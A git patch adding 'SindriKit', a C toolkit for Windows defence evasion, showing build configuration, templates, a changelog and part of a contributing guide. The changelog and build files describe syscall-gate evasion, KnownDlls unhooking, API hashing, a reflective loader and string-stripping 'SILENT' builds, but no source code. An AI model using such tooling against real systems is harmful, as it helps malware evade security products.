From 5e26626615cb7df6f902d07128effc6de5299d63 Mon Sep 17 00:00:00 2001 From: sibouzitoun Date: Mon, 22 Jun 2026 12:38:04 +0100 Subject: [PATCH] You're Gonna Carry That Weight --- .clang-format | 18 + .gitattributes | 9 + .github/ISSUE_TEMPLATE/bug_report.md | 28 + .github/ISSUE_TEMPLATE/feature_request.md | 19 + .github/PULL_REQUEST_TEMPLATE.md | 19 + .github/workflows/build.yml | 26 + .gitignore | 4 + CHANGELOG.md | 27 + CMakeLists.txt | 178 ++++++ CONTRIBUTING.md | 115 ++++ LICENSE | 21 + README.md | 233 +++++++ SECURITY.md | 44 ++ assets/banner.png | Bin 0 -> 35818 bytes assets/logo.png | Bin 0 -> 14204 bytes assets/title.png | Bin 0 -> 8295 bytes build.bat | 116 ++++ config/README.md | 7 + config/hashes.ini | 38 ++ docs/README.md | 31 + docs/architecture/README.md | 16 + docs/architecture/dependency_injection.md | 52 ++ docs/architecture/redteam_integration.md | 48 ++ docs/architecture/state_machines.md | 46 ++ docs/architecture/status_system.md | 48 ++ docs/common/README.md | 9 + docs/common/api_reference.md | 353 +++++++++++ docs/common/infrastructure.md | 98 +++ docs/config/README.md | 7 + docs/config/hashes_manifest.md | 60 ++ docs/domains/README.md | 17 + docs/domains/evasion/README.md | 6 + docs/domains/evasion/api_reference.md | 6 + docs/domains/evasion/techniques.md | 17 + docs/domains/injection/README.md | 6 + docs/domains/injection/api_reference.md | 6 + docs/domains/injection/techniques.md | 17 + docs/domains/loaders/README.md | 9 + docs/domains/loaders/api_reference.md | 264 ++++++++ docs/domains/loaders/techniques.md | 75 +++ docs/domains/primitives/README.md | 30 + docs/domains/primitives/execution/README.md | 11 + .../primitives/execution/api_reference.md | 44 ++ docs/domains/primitives/execution/ffi.md | 22 + .../primitives/execution/heavens_gate.md | 20 + docs/domains/primitives/memory/README.md | 12 + .../primitives/memory/api_reference.md | 28 + docs/domains/primitives/memory/techniques.md | 30 + docs/domains/primitives/modules/README.md | 9 + .../primitives/modules/api_reference.md | 82 +++ .../domains/primitives/modules/peb_walking.md | 29 + docs/domains/primitives/syscalls/README.md | 14 + .../primitives/syscalls/api_reference.md | 93 +++ docs/domains/primitives/syscalls/gates.md | 48 ++ docs/domains/primitives/syscalls/pipeline.md | 30 + docs/examples/README.md | 13 + docs/examples/heavens_gate.md | 63 ++ docs/examples/loader_noCRT_nowinapi.md | 58 ++ docs/examples/loader_nowinapi.md | 71 +++ docs/examples/loader_winapi.md | 44 ++ docs/getting_started/README.md | 9 + docs/getting_started/basic_usage.md | 106 ++++ docs/getting_started/building.md | 90 +++ docs/parsers/README.md | 9 + docs/parsers/api_reference.md | 232 +++++++ docs/parsers/techniques.md | 118 ++++ docs/scripts/README.md | 7 + docs/scripts/generate_hashes.md | 71 +++ docs/tests/README.md | 11 + docs/tests/pe_mutator.md | 67 ++ docs/tests/test_payloads.md | 69 ++ docs/tests/test_runner.md | 62 ++ include/sindri.h | 9 + include/sindri/common.h | 10 + include/sindri/common/buffer.h | 87 +++ include/sindri/common/disk.h | 23 + include/sindri/common/hash.h | 32 + include/sindri/common/helpers.h | 305 +++++++++ include/sindri/common/status.h | 159 +++++ include/sindri/internal/nt_defs.h | 92 +++ include/sindri/loaders.h | 8 + include/sindri/loaders/knowndlls/knowndlls.h | 57 ++ include/sindri/loaders/reflective/chain.h | 36 ++ include/sindri/loaders/reflective/engine.h | 150 +++++ include/sindri/parsers.h | 6 + include/sindri/parsers/pe.h | 10 + include/sindri/parsers/pe/pe_exports.h | 63 ++ include/sindri/parsers/pe/pe_imports.h | 43 ++ include/sindri/parsers/pe/pe_parser.h | 120 ++++ include/sindri/parsers/pe/pe_relocations.h | 35 + include/sindri/parsers/pe/pe_utils.h | 69 ++ include/sindri/primitives.h | 13 + include/sindri/primitives/ffi.h | 31 + include/sindri/primitives/heavens_gate.h | 33 + include/sindri/primitives/memory.h | 15 + include/sindri/primitives/modules.h | 15 + include/sindri/primitives/ntdll.h | 23 + include/sindri/primitives/os_api.h | 52 ++ include/sindri/primitives/peb.h | 29 + include/sindri/primitives/syscalls.h | 81 +++ pocs/CMakeLists.txt | 11 + pocs/heavens_gate/CMakeLists.txt | 2 + pocs/heavens_gate/main.c | 63 ++ pocs/loader_noCRT_nowinapi/CMakeLists.txt | 2 + pocs/loader_noCRT_nowinapi/main.c | 52 ++ pocs/loader_nowinapi/CMakeLists.txt | 2 + pocs/loader_nowinapi/main.c | 225 +++++++ pocs/loader_winapi/CMakeLists.txt | 2 + pocs/loader_winapi/main.c | 178 ++++++ scripts/README.md | 7 + scripts/generate_hashes.py | 172 +++++ src/common/buffer.c | 24 + src/common/crt_manifest.c | 79 +++ src/common/disk.c | 66 ++ src/common/hash.c | 133 ++++ src/common/helpers.c | 39 ++ src/common/status.c | 149 +++++ src/loaders/knowndlls/knowndlls.c | 74 +++ src/loaders/knowndlls/native.c | 71 +++ src/loaders/knowndlls/win.c | 60 ++ src/loaders/reflective/chain.c | 116 ++++ src/loaders/reflective/engine.c | 403 ++++++++++++ src/parsers/pe/pe_exports.c | 231 +++++++ src/parsers/pe/pe_imports.c | 141 ++++ src/parsers/pe/pe_parser.c | 107 ++++ src/parsers/pe/pe_relocations.c | 93 +++ src/parsers/pe/pe_section_utils.c | 92 +++ src/parsers/pe/pe_section_utils.h | 44 ++ src/parsers/pe/pe_utils.c | 232 +++++++ src/primitives/execution/ffi/ffi_invoke.c | 42 ++ src/primitives/execution/ffi/ffi_x64.asm | 116 ++++ src/primitives/execution/ffi/ffi_x86.asm | 53 ++ .../execution/heavens_gate/heavens_gate.c | 65 ++ .../heavens_gate/heavens_gate_x86.asm | 122 ++++ src/primitives/memory/native.c | 95 +++ src/primitives/memory/win.c | 21 + src/primitives/modules/native.c | 104 +++ src/primitives/modules/ntdll.c | 14 + src/primitives/modules/peb.c | 114 ++++ src/primitives/modules/win.c | 39 ++ src/primitives/syscalls/asm/invoke_x64.asm | 51 ++ src/primitives/syscalls/asm/invoke_x86.asm | 69 ++ src/primitives/syscalls/halosgate.c | 61 ++ src/primitives/syscalls/hellsgate.c | 50 ++ src/primitives/syscalls/internal/neighbor.c | 48 ++ src/primitives/syscalls/internal/neighbor.h | 19 + src/primitives/syscalls/syscalls.c | 57 ++ src/primitives/syscalls/tartarusgate.c | 58 ++ src/primitives/syscalls/velesreek.c | 65 ++ tests/CMakeLists.txt | 1 + tests/README.md | 9 + tests/fixtures/pe/corkami.zip | Bin 0 -> 723166 bytes tests/loader/CMakeLists.txt | 26 + tests/loader/README.md | 13 + tests/loader/pe_mutator.py | 476 ++++++++++++++ tests/loader/src/test_dll.c | 52 ++ tests/loader/src/test_dll_advanced.c | 106 ++++ tests/loader/src/test_dll_empty.c | 10 + tests/loader/src/test_dll_tls.c | 45 ++ tests/loader/src/test_exe.c | 22 + tests/loader/src/test_exe_advanced.c | 42 ++ tests/loader/test_runner.py | 600 ++++++++++++++++++ 162 files changed, 10836 insertions(+) create mode 100644 .clang-format create mode 100644 .gitattributes create mode 100644 .github/ISSUE_TEMPLATE/bug_report.md create mode 100644 .github/ISSUE_TEMPLATE/feature_request.md create mode 100644 .github/PULL_REQUEST_TEMPLATE.md create mode 100644 .github/workflows/build.yml create mode 100755 .gitignore create mode 100644 CHANGELOG.md create mode 100755 CMakeLists.txt create mode 100644 CONTRIBUTING.md create mode 100755 LICENSE create mode 100644 README.md create mode 100644 SECURITY.md create mode 100644 assets/banner.png create mode 100644 assets/logo.png create mode 100644 assets/title.png create mode 100755 build.bat create mode 100644 config/README.md create mode 100644 config/hashes.ini create mode 100644 docs/README.md create mode 100644 docs/architecture/README.md create mode 100644 docs/architecture/dependency_injection.md create mode 100644 docs/architecture/redteam_integration.md create mode 100644 docs/architecture/state_machines.md create mode 100644 docs/architecture/status_system.md create mode 100644 docs/common/README.md create mode 100644 docs/common/api_reference.md create mode 100644 docs/common/infrastructure.md create mode 100644 docs/config/README.md create mode 100644 docs/config/hashes_manifest.md create mode 100644 docs/domains/README.md create mode 100644 docs/domains/evasion/README.md create mode 100644 docs/domains/evasion/api_reference.md create mode 100644 docs/domains/evasion/techniques.md create mode 100644 docs/domains/injection/README.md create mode 100644 docs/domains/injection/api_reference.md create mode 100644 docs/domains/injection/techniques.md create mode 100644 docs/domains/loaders/README.md create mode 100644 docs/domains/loaders/api_reference.md create mode 100644 docs/domains/loaders/techniques.md create mode 100644 docs/domains/primitives/README.md create mode 100644 docs/domains/primitives/execution/README.md create mode 100644 docs/domains/primitives/execution/api_reference.md create mode 100644 docs/domains/primitives/execution/ffi.md create mode 100644 docs/domains/primitives/execution/heavens_gate.md create mode 100644 docs/domains/primitives/memory/README.md create mode 100644 docs/domains/primitives/memory/api_reference.md create mode 100644 docs/domains/primitives/memory/techniques.md create mode 100644 docs/domains/primitives/modules/README.md create mode 100644 docs/domains/primitives/modules/api_reference.md create mode 100644 docs/domains/primitives/modules/peb_walking.md create mode 100644 docs/domains/primitives/syscalls/README.md create mode 100644 docs/domains/primitives/syscalls/api_reference.md create mode 100644 docs/domains/primitives/syscalls/gates.md create mode 100644 docs/domains/primitives/syscalls/pipeline.md create mode 100644 docs/examples/README.md create mode 100644 docs/examples/heavens_gate.md create mode 100644 docs/examples/loader_noCRT_nowinapi.md create mode 100644 docs/examples/loader_nowinapi.md create mode 100644 docs/examples/loader_winapi.md create mode 100644 docs/getting_started/README.md create mode 100644 docs/getting_started/basic_usage.md create mode 100644 docs/getting_started/building.md create mode 100644 docs/parsers/README.md create mode 100644 docs/parsers/api_reference.md create mode 100644 docs/parsers/techniques.md create mode 100644 docs/scripts/README.md create mode 100644 docs/scripts/generate_hashes.md create mode 100644 docs/tests/README.md create mode 100644 docs/tests/pe_mutator.md create mode 100644 docs/tests/test_payloads.md create mode 100644 docs/tests/test_runner.md create mode 100644 include/sindri.h create mode 100644 include/sindri/common.h create mode 100644 include/sindri/common/buffer.h create mode 100644 include/sindri/common/disk.h create mode 100644 include/sindri/common/hash.h create mode 100644 include/sindri/common/helpers.h create mode 100644 include/sindri/common/status.h create mode 100644 include/sindri/internal/nt_defs.h create mode 100644 include/sindri/loaders.h create mode 100644 include/sindri/loaders/knowndlls/knowndlls.h create mode 100644 include/sindri/loaders/reflective/chain.h create mode 100644 include/sindri/loaders/reflective/engine.h create mode 100644 include/sindri/parsers.h create mode 100644 include/sindri/parsers/pe.h create mode 100644 include/sindri/parsers/pe/pe_exports.h create mode 100644 include/sindri/parsers/pe/pe_imports.h create mode 100644 include/sindri/parsers/pe/pe_parser.h create mode 100644 include/sindri/parsers/pe/pe_relocations.h create mode 100644 include/sindri/parsers/pe/pe_utils.h create mode 100644 include/sindri/primitives.h create mode 100644 include/sindri/primitives/ffi.h create mode 100644 include/sindri/primitives/heavens_gate.h create mode 100644 include/sindri/primitives/memory.h create mode 100644 include/sindri/primitives/modules.h create mode 100644 include/sindri/primitives/ntdll.h create mode 100644 include/sindri/primitives/os_api.h create mode 100644 include/sindri/primitives/peb.h create mode 100644 include/sindri/primitives/syscalls.h create mode 100644 pocs/CMakeLists.txt create mode 100644 pocs/heavens_gate/CMakeLists.txt create mode 100644 pocs/heavens_gate/main.c create mode 100644 pocs/loader_noCRT_nowinapi/CMakeLists.txt create mode 100644 pocs/loader_noCRT_nowinapi/main.c create mode 100644 pocs/loader_nowinapi/CMakeLists.txt create mode 100644 pocs/loader_nowinapi/main.c create mode 100644 pocs/loader_winapi/CMakeLists.txt create mode 100644 pocs/loader_winapi/main.c create mode 100644 scripts/README.md create mode 100644 scripts/generate_hashes.py create mode 100644 src/common/buffer.c create mode 100644 src/common/crt_manifest.c create mode 100644 src/common/disk.c create mode 100644 src/common/hash.c create mode 100644 src/common/helpers.c create mode 100644 src/common/status.c create mode 100644 src/loaders/knowndlls/knowndlls.c create mode 100644 src/loaders/knowndlls/native.c create mode 100644 src/loaders/knowndlls/win.c create mode 100644 src/loaders/reflective/chain.c create mode 100644 src/loaders/reflective/engine.c create mode 100644 src/parsers/pe/pe_exports.c create mode 100644 src/parsers/pe/pe_imports.c create mode 100644 src/parsers/pe/pe_parser.c create mode 100644 src/parsers/pe/pe_relocations.c create mode 100644 src/parsers/pe/pe_section_utils.c create mode 100644 src/parsers/pe/pe_section_utils.h create mode 100644 src/parsers/pe/pe_utils.c create mode 100644 src/primitives/execution/ffi/ffi_invoke.c create mode 100644 src/primitives/execution/ffi/ffi_x64.asm create mode 100644 src/primitives/execution/ffi/ffi_x86.asm create mode 100644 src/primitives/execution/heavens_gate/heavens_gate.c create mode 100644 src/primitives/execution/heavens_gate/heavens_gate_x86.asm create mode 100644 src/primitives/memory/native.c create mode 100644 src/primitives/memory/win.c create mode 100644 src/primitives/modules/native.c create mode 100644 src/primitives/modules/ntdll.c create mode 100644 src/primitives/modules/peb.c create mode 100644 src/primitives/modules/win.c create mode 100644 src/primitives/syscalls/asm/invoke_x64.asm create mode 100644 src/primitives/syscalls/asm/invoke_x86.asm create mode 100644 src/primitives/syscalls/halosgate.c create mode 100644 src/primitives/syscalls/hellsgate.c create mode 100644 src/primitives/syscalls/internal/neighbor.c create mode 100644 src/primitives/syscalls/internal/neighbor.h create mode 100644 src/primitives/syscalls/syscalls.c create mode 100644 src/primitives/syscalls/tartarusgate.c create mode 100644 src/primitives/syscalls/velesreek.c create mode 100644 tests/CMakeLists.txt create mode 100644 tests/README.md create mode 100644 tests/fixtures/pe/corkami.zip create mode 100644 tests/loader/CMakeLists.txt create mode 100644 tests/loader/README.md create mode 100644 tests/loader/pe_mutator.py create mode 100644 tests/loader/src/test_dll.c create mode 100644 tests/loader/src/test_dll_advanced.c create mode 100644 tests/loader/src/test_dll_empty.c create mode 100644 tests/loader/src/test_dll_tls.c create mode 100644 tests/loader/src/test_exe.c create mode 100644 tests/loader/src/test_exe_advanced.c create mode 100644 tests/loader/test_runner.py diff --git a/.clang-format b/.clang-format new file mode 100644 index 0000000..0aa6564 --- /dev/null +++ b/.clang-format @@ -0,0 +1,18 @@ +--- +BasedOnStyle: LLVM +IndentWidth: 4 +TabWidth: 4 +UseTab: Never +ColumnLimit: 120 +AlignConsecutiveDeclarations: true +AlignConsecutiveAssignments: true +AlignConsecutiveMacros: true +PointerAlignment: Right +BreakBeforeBraces: Attach +AllowShortFunctionsOnASingleLine: Empty +AllowShortBlocksOnASingleLine: false +KeepEmptyLinesAtTheStartOfBlocks: false +MaxEmptyLinesToKeep: 1 +SortIncludes: true +IncludeBlocks: Regroup +--- diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..24c9966 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,9 @@ +# Enforce Unix line endings for C/C++ source code +*.c text eol=lf +*.h text eol=lf +*.md text eol=lf +*.txt text eol=lf +*.cmake text eol=lf + +# Keep batch files as CRLF for Windows compatibility +*.bat text eol=crlf diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 0000000..7b7cccb --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,28 @@ +--- +name: Bug report +about: Create a report to help us improve SindriKit +title: '' +labels: bug +assignees: '' +--- + +**Describe the bug** +A clear and concise description of what the bug is. (Note: "AV/EDR caught my payload" is not a bug. See SECURITY.md for details.) + +**To Reproduce** +Steps to reproduce the behavior: +1. Compiler used (e.g. MSVC v143, GCC, Clang): +2. CMake arguments / build configuration: +3. Minimal code snippet causing the issue: +4. See error + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Environment details:** + - OS Architecture: [e.g. Windows 11 x64] + - Payload Architecture: [e.g. x86 or x64] + - Build Tier: [DEBUG or SILENT] + +**Additional context** +Add any other context about the problem here. (If it's an OpSec leak in SILENT tier, please open a Security Advisory instead of a public issue). diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 0000000..0834a86 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,19 @@ +--- +name: Feature request +about: Suggest an idea for this project +title: '' +labels: enhancement +assignees: '' +--- + +**Is your feature request related to a problem? Please describe.** +A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] + +**Describe the solution you'd like** +A clear and concise description of what you want to happen. Keep in mind the strict dependency injection architectural model of the toolkit. + +**Describe alternatives you've considered** +A clear and concise description of any alternative solutions or features you've considered. + +**Additional context** +Add any other context or screenshots about the feature request here. diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 0000000..44436f8 --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,19 @@ +## Description +Please include a summary of the change and which issue is fixed. Please also include relevant motivation and context. + +## Type of change +- [ ] Bug fix (non-breaking change which fixes an issue) +- [ ] New feature (non-breaking change which adds functionality) +- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected) +- [ ] Documentation update + +## Checklist: +*Please verify all of the following before submitting your PR. SindriKit enforces strict engineering standards.* + +- [ ] My code follows the style guidelines of this project (verified via `.clang-format`). +- [ ] I have performed a self-review of my own code. +- [ ] I have commented my code, particularly in hard-to-understand or low-level ASM areas. +- [ ] I have made corresponding changes to the documentation in `docs/`. +- [ ] My changes generate no new warnings when compiled with `/W4 /WX` on MSVC. +- [ ] I have successfully compiled and tested my changes on **both x86 and x64** targets. +- [ ] I have verified that compiling in `SILENT` mode (`SND_ENABLE_DEBUG=OFF`) introduces no new string artifacts. diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml new file mode 100644 index 0000000..526e033 --- /dev/null +++ b/.github/workflows/build.yml @@ -0,0 +1,26 @@ +name: Build Matrix + +on: + push: + branches: [ "main" ] + pull_request: + branches: [ "main" ] + +jobs: + build: + runs-on: windows-latest + strategy: + matrix: + arch: [x64, Win32] + build_type: [Release] + + steps: + - uses: actions/checkout@v4 + + - name: Configure CMake + # By default, Windows runners use MSVC. We compile for both x64 and x86 to catch pointer truncation bugs. + run: cmake -B ${{github.workspace}}/build -A ${{matrix.arch}} -DCMAKE_BUILD_TYPE=${{matrix.build_type}} -DSND_ENABLE_DEBUG=OFF -DSND_BUILD_PAYLOADS=ON + + - name: Build + # The build will automatically fail if /W4 or /WX catches any warnings, enforcing our strict standards. + run: cmake --build ${{github.workspace}}/build --config ${{matrix.build_type}} diff --git a/.gitignore b/.gitignore new file mode 100755 index 0000000..9c61a49 --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +build*/ +.clangd +__pycache__ +corkami diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..ac6ed2e --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,27 @@ +# Changelog + +All notable technique additions, strategy improvements, and core architecture updates to SindriKit will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project attempts to adhere to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + +--- + +## [1.0.0] - 2026-06-22 + +SindriKit is a Windows evasion toolkit written in C. This first release provides the core engine, focusing on a Dependency Injection architecture that separates offensive techniques from underlying OS execution mechanics. By programming against a unified API abstraction, operators can switch execution profiles (e.g., standard Win32 APIs vs. direct syscalls) without modifying their core payload logic. + +### Core Features (v1.0) + +- **Syscall Resolution:** Dynamic SSN resolution with a cascading fallback pipeline supporting Hell's Gate, Halo's Gate, Tartarus' Gate, and VelesReek. +- **Kernel-State Bootstrapping:** Maps unhooked system modules directly from the `\KnownDlls` Object Manager directory to provide clean execution bases. +- **Algorithm Agility:** Compile-time API hashing (DJB2 or FNV1A). Hashing algorithms can be swapped across the entire project via a single CMake variable. +- **PE Parser:** A custom, bounds-checked PE32/PE32+ parser with explicit state tracking (`is_mapped`) for handling raw and memory-mapped files safely. +- **Dynamic FFI:** Custom MASM assembly bridges for executing arbitrary functions while adhering to strict x64 and x86 calling conventions. +- **Reflective Loader (PoC Domain):** A fully functional 8-stage in-memory PE loader built on the framework, capable of executing entirely via direct syscalls with zero Win32 API surface. +- **State-Tracked Contexts:** Offensive operations are governed by discrete state machines, enabling tasks to be paused safely (e.g., for sleep obfuscation) and cleanly resumed. + +### Build and OpSec Constraints + +- **Strict Compilation:** The build system enforces `/W4 /WX` to catch implicit truncations and pointer mismatches at compile time. +- **SILENT Tier:** Compiling with `SND_ENABLE_DEBUG=OFF` removes all state-machine prints and error contexts, ensuring no framework strings end up in the `.rdata` section. +- **CRT Independence:** The `SND_CRTLESS=ON` flag builds the engine without the C Standard Library, relying on compiler-intrinsic fallbacks. diff --git a/CMakeLists.txt b/CMakeLists.txt new file mode 100755 index 0000000..d6a4c3f --- /dev/null +++ b/CMakeLists.txt @@ -0,0 +1,178 @@ +cmake_minimum_required(VERSION 3.16) +project(SindriKit VERSION 1.0.0 LANGUAGES C ASM_MASM) +set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded") + +option(SND_ENABLE_DEBUG "Enable debug prints and tracking" OFF) +option(SND_USE_PRINTF "Use printf instead of OutputDebugString" OFF) +option(SND_BUILD_PAYLOADS "Build bundled PoC loaders" OFF) +option(SND_BUILD_TESTS "Build test binaries (DLLs and EXEs)" OFF) +option(SND_CRTLESS "Build the framework for pure CRT-less operation" OFF) +option(SND_RANDOMIZE_SEED "Use randomized seed for compile-time hashes" OFF) + +# --- Configuration Guards --- +if(SND_CRTLESS) + if(SND_BUILD_TESTS) + message(WARNING "SindriKit: SND_BUILD_TESTS requires the CRT. Forcing SND_CRTLESS=OFF.") + set(SND_CRTLESS OFF CACHE BOOL "Build the framework for pure CRT-less operation" FORCE) + else() + if(SND_ENABLE_DEBUG OR SND_USE_PRINTF) + message(WARNING "SindriKit: CRT-less build requested. Forcing SND_ENABLE_DEBUG=OFF and SND_USE_PRINTF=OFF.") + set(SND_ENABLE_DEBUG OFF CACHE BOOL "Enable debug prints and tracking" FORCE) + set(SND_USE_PRINTF OFF CACHE BOOL "Use printf instead of OutputDebugString" FORCE) + endif() + endif() +endif() + +if(NOT WIN32) + message(FATAL_ERROR "SindriKit supports Windows targets only.") +endif() + +# --- Architecture-specific assembly --- +if(CMAKE_SIZEOF_VOID_P EQUAL 8) + set(SYSCALL_ASM src/primitives/syscalls/asm/invoke_x64.asm) + set(EXECUTION_ASM src/primitives/execution/ffi/ffi_x64.asm) + set(HEAVENSGATE_ASM "") +else() + set(SYSCALL_ASM src/primitives/syscalls/asm/invoke_x86.asm) + set(EXECUTION_ASM src/primitives/execution/ffi/ffi_x86.asm) + set(HEAVENSGATE_ASM src/primitives/execution/heavens_gate/heavens_gate_x86.asm) +endif() + +# --- Compile-time hash generation --- +find_package(Python3 REQUIRED COMPONENTS Interpreter) + +set(SND_HASH_ALGO "DJB2" CACHE STRING "Hashing algorithm (DJB2, FNV1A)") +string(TOUPPER "${SND_HASH_ALGO}" SND_HASH_ALGO) + +set(HASH_MANIFEST "${CMAKE_CURRENT_SOURCE_DIR}/config/hashes.ini") +set(HASH_SCRIPT "${CMAKE_CURRENT_SOURCE_DIR}/scripts/generate_hashes.py") +set(GENERATED_HEADER "${CMAKE_CURRENT_BINARY_DIR}/generated/sindri_hashes.h") + +# Generate hashes at configure time. +# We use execute_process so it only runs during CMake configure. +# The Python script natively skips writing if the content hasn't changed, preserving timestamps. +execute_process( + COMMAND ${Python3_EXECUTABLE} ${HASH_SCRIPT} ${HASH_MANIFEST} ${GENERATED_HEADER} ${SND_HASH_ALGO} ${SND_RANDOMIZE_SEED} + RESULT_VARIABLE HASH_RES +) +if(NOT HASH_RES EQUAL 0) + message(FATAL_ERROR "SindriKit: Failed to generate API hashes.") +endif() + +# Force CMake to reconfigure automatically if the manifest or script changes +set_property(DIRECTORY APPEND PROPERTY CMAKE_CONFIGURE_DEPENDS ${HASH_MANIFEST} ${HASH_SCRIPT}) + +# --- Static library --- +add_library(sindri_engine STATIC + # Common + src/common/status.c + src/common/helpers.c + src/common/buffer.c + src/common/hash.c + src/common/disk.c + # PE parser + src/parsers/pe/pe_parser.c + src/parsers/pe/pe_exports.c + src/parsers/pe/pe_imports.c + src/parsers/pe/pe_relocations.c + src/parsers/pe/pe_utils.c + src/parsers/pe/pe_section_utils.c + # Reflective loader + src/loaders/reflective/engine.c + src/loaders/reflective/chain.c + # KnownDlls loader + src/loaders/knowndlls/knowndlls.c + src/loaders/knowndlls/win.c + src/loaders/knowndlls/native.c + # Memory primitives + src/primitives/memory/win.c + src/primitives/memory/native.c + # Module primitives + src/primitives/modules/win.c + src/primitives/modules/native.c + src/primitives/modules/peb.c + src/primitives/modules/ntdll.c + # Syscall resolvers + src/primitives/syscalls/syscalls.c + src/primitives/syscalls/hellsgate.c + src/primitives/syscalls/halosgate.c + src/primitives/syscalls/tartarusgate.c + src/primitives/syscalls/velesreek.c + src/primitives/syscalls/internal/neighbor.c + # Execution + src/primitives/execution/ffi/ffi_invoke.c + src/primitives/execution/heavens_gate/heavens_gate.c + # Assembly & generated + ${SYSCALL_ASM} + ${EXECUTION_ASM} + ${HEAVENSGATE_ASM} + ${GENERATED_HEADER} +) + +if(SND_CRTLESS) + target_sources(sindri_engine PRIVATE src/common/crt_manifest.c) +endif() + +add_library(sindri::engine ALIAS sindri_engine) + +target_include_directories(sindri_engine + PUBLIC + ${CMAKE_CURRENT_SOURCE_DIR}/include + ${CMAKE_CURRENT_BINARY_DIR}/generated + PRIVATE + ${CMAKE_CURRENT_SOURCE_DIR}/src +) + +target_compile_features(sindri_engine PUBLIC c_std_99) + +# --- Debug & Print Configuration --- +if(SND_USE_PRINTF) + set(DEF_USE_PRINTF 1) + set(PRINT_MODE "CONSOLE (printf)") +else() + set(DEF_USE_PRINTF 0) + set(PRINT_MODE "DEBUGGER (OutputDebugString)") +endif() + +if(SND_ENABLE_DEBUG) + set(DEF_DEBUG 1) + message(STATUS "SindriKit: DEBUG | Output: ${PRINT_MODE} | Hash: ${SND_HASH_ALGO}") +else() + set(DEF_DEBUG 0) + message(STATUS "SindriKit: SILENT | Hash: ${SND_HASH_ALGO}") +endif() + +target_compile_definitions(sindri_engine PUBLIC + SND_DEBUG=${DEF_DEBUG} + SND_USE_PRINTF=${DEF_USE_PRINTF} + SND_HASH_${SND_HASH_ALGO}=1 +) + +# --- Compiler warnings --- +if(MSVC) + target_compile_options(sindri_engine PRIVATE + $<$:/W4> + $<$:/WX> + ) + if(NOT SND_ENABLE_DEBUG) + target_compile_options(sindri_engine PRIVATE + $<$:/GS-> + $<$:/sdl-> + ) + endif() +else() + target_compile_options(sindri_engine PRIVATE + $<$:-Wall> + $<$:-Wextra> + $<$:-Werror> + ) +endif() + +# --- Optional subdirectories --- +if(SND_BUILD_PAYLOADS) + add_subdirectory(pocs) +endif() + +if(SND_BUILD_TESTS) + add_subdirectory(tests) +endif() diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..1f4e758 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,115 @@ +# Contributing to SindriKit + +SindriKit is a foundational C library for building offensive security capabilities. The core philosophy governing the entire project is: **"One abstraction layer. Every offensive domain."** + +> [!WARNING] +> **Scope & Intent Restriction** +> SindriKit is an architectural framework, not a malware repository. Pull requests containing fully weaponized implants, ransomware, destructive capabilities, or hyper-specific vendor bypasses (e.g., "Bypass for Vendor X") will be immediately closed and locked. Contributions must be generalized, operational primitives (e.g., new parsing logic, generic injection techniques, execution agnostic wrappers). + +Before contributing, you must familiarize yourself with the framework's architecture, primarily its strict separation of *Intent* from *Execution Mechanics*. + +## Development Setup + +SindriKit is designed **strictly for Windows targets** (`_WIN32` or `_WIN64`). The core build system relies on modern CMake (`>= 3.16`), MSVC, and Python 3 (for compile-time API string hashing). + +1. Clone the repository. +2. Ensure you have **Visual Studio** (with C++ build tools), **CMake**, and a **Python 3** interpreter installed and available in your `PATH`. +3. Use the provided `build.bat` wrapper script at the repository root to configure and compile the project. + +### Using `build.bat` + +Do not manually invoke CMake for local development unless you are explicitly testing the `add_subdirectory()` integration. For standalone development, framework testing, and PoC building, always use `build.bat`. + +`build.bat` automatically configures and builds **both** x86 (`build32`) and x64 (`build64`) targets simultaneously, enforcing the `Release` configuration for MSVC compiler optimization: + +```cmd +:: Build silently (production defaults: Release, SND_ENABLE_DEBUG=OFF) +build.bat + +:: Build with debug prints via OutputDebugString (SND_ENABLE_DEBUG=ON) +build.bat debug + +:: Build with printf to stdout instead of OutputDebugString +build.bat debug console + +:: Change the compile-time string hashing algorithm +build.bat djb2 +build.bat fnv1a + +:: Build everything, including tests and PoC payloads (forces debug & console) +build.bat tests pocs +``` + +## Core Architectural Rules + +I heavily scrutinize all pull requests against the following architectural constraints. Code that breaks these paradigms will not be merged. + +### 1. The Dependency Injection (DI) Contract +Never hardcode Win32 or Native API calls inside the core logic of an offensive domain (e.g., inside the reflective loader or PE parser). +- **Always** consume functions through injected API tables (e.g., `snd_memory_api_t`, `snd_module_api_t`). +- If you are building a new domain, your context structure (e.g., `snd_injector_ctx_t`) must accept these API tables so the operator can swap execution mechanics at runtime. + +### 2. The Status System (`snd_status_t`) +Never return raw integers, `NULL` pointers, or standard `NTSTATUS`/`DWORD` error codes from a framework function. +- All fallible functions must return a `snd_status_t`. +- Utilize the framework macros: `SND_OK`, `SND_ERR()`, `SND_ERR_W32()`, `SND_ERR_CTX()`, and `SND_ERR_W32_CTX()`. +- Error handling must compile cleanly for both the `DEBUG` tier (verbose context strings) and the `SILENT` tier (zero strings). The macros handle this truncation transparently. + +### 3. Compile-Time API Hashing +Never use plaintext API or module names as string literals in the C source code. +1. Add the required module and API names to `config/hashes.ini`. +2. The build system invokes `scripts/generate_hashes.py` during compilation to dynamically generate `generated/sindri_hashes.h` based on the active 